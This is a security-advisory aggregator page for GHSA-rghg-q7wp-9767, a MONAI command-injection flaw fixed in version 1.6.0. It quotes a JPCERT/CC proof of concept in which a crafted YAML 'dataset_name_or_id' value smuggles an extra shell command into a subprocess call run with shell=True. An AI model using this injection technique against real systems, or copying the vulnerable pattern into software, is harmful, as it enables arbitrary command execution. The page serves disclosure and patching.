GHSA-rghg-q7wp-9767: MONAI — HIGH

### Comment from JPCERT/CC We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11. It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email. ### Summary...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
MONAI	pip	< 1.6.0	`1.6.0`
8.6K OpenSSF 6.8 117 dependents Pushed 4d ago 100% patched ~24d to patch Full package profile →

Do you use MONAI? You're affected.

How severe is it?

CVSS 3.1

N/A

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What should I do?

Patch available

Update MONAI to version 1.6.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is GHSA-rghg-q7wp-9767?

### Comment from JPCERT/CC We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11. It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email. ### Summary MONAI vulnerable to OS command injection. ### Details This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted. As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection). The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints. ### PoC Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands. dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results As a victim, verify running the following Python code to load and process the YAML file. from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip()) Also, see the attached file. [JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)

Is GHSA-rghg-q7wp-9767 actively exploited?

No confirmed active exploitation of GHSA-rghg-q7wp-9767 has been reported, but organizations should still patch proactively.

How to fix GHSA-rghg-q7wp-9767?

Update to patched version: MONAI 1.6.0.

What is the CVSS score for GHSA-rghg-q7wp-9767?

No CVSS score has been assigned yet.

What are the technical details?

Original Advisory

### Comment from JPCERT/CC We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11. It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email. ### Summary MONAI vulnerable to OS command injection. ### Details This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted. As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection). The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints. ### PoC Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands. dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results As a victim, verify running the following Python code to load and process the YAML file. from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip()) Also, see the attached file. [JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Primary

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.